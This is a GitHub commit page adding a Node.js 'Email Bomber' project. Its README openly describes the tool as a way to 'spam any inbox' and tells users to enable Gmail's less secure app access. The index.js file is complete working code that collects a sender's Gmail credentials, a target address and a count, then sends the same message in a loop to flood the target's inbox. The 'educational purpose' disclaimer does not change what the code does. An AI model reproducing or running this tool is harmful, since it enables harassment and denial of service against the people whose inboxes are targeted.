Skip to content

Commit 54adaf0

Browse files
committed
Email Bomber Using NodeJS Added
1 parent 8370aac commit 54adaf0

File tree

6 files changed

+334
-0
lines changed

6 files changed

+334
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/node_modules
+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
**This script is for Educational Purpose only**
2+
3+
# Email Bomber in NodeJS
4+
5+
This script can be used to send loads of emails i.e., spam any inbox.
6+
7+
## How to Run?
8+
9+
+ Run `npm i` to install all the dependencies
10+
+ Run `node index.js` to run the script
11+
+ **Allow `Less Secure App Access` in your Gmail account to let nodemailer send mails through this script**
12+
13+
## Screenshots
14+
15+
[!image](images/Email-Bomber.png)
Loading
+54
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
// Importing the required library in NodeJS to send emails using script
2+
const nodemailer = require('nodemailer')
3+
// NPM Package for getting user input through Command Line
4+
const inquirer = require('inquirer')
5+
// Taking User Input
6+
var questions = [{
7+
type: 'input',
8+
name: 'senderEmail',
9+
message: 'Enter the email id from which you want to bomb emails: '
10+
}, {
11+
type: 'input',
12+
name: 'receiverEmail',
13+
message: 'Enter the email id which you want to spam through this email bomber: '
14+
}, {
15+
type: 'input',
16+
name: 'subject',
17+
message: 'Enter the subject of mail: '
18+
}, {
19+
name: 'input',
20+
name: 'text',
21+
message: 'Enter the text content of mail: '
22+
}, {
23+
type: 'password',
24+
name: 'password',
25+
message: 'Enter your email password: '
26+
}, {
27+
type: 'number',
28+
name: 'times',
29+
message: 'Enter the number of emails you want to send: '
30+
}]
31+
// Working on the user input to send emails
32+
inquirer.prompt(questions).then( answers => {
33+
let mailOptions = {
34+
from: answers.senderEmail,
35+
to: answers.receiverEmail,
36+
subject: answers.subject,
37+
text: answers.text
38+
}
39+
const transporter = nodemailer.createTransport({
40+
service: 'gmail',
41+
auth: {
42+
user: answers.senderEmail,
43+
pass: answers.password
44+
}
45+
})
46+
for(var i=0 ; i<answers.times ; i++){
47+
transporter.sendMail(mailOptions, (error, response) => {
48+
if (error) {
49+
console.log(error)
50+
}
51+
})
52+
}
53+
console.log("Email Bombing Successful!")
54+
})

JavaScript/Email-Bomber-NodeJS/package-lock.json

+249
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
{
2+
"name": "email-bomber-nodejs",
3+
"version": "1.0.0",
4+
"description": "",
5+
"main": "index.js",
6+
"scripts": {
7+
"test": "echo \"Error: no test specified\" && exit 1"
8+
},
9+
"author": "",
10+
"license": "ISC",
11+
"dependencies": {
12+
"inquirer": "^7.3.3",
13+
"nodemailer": "^6.4.16"
14+
}
15+
}

0 commit comments

Comments
 (0)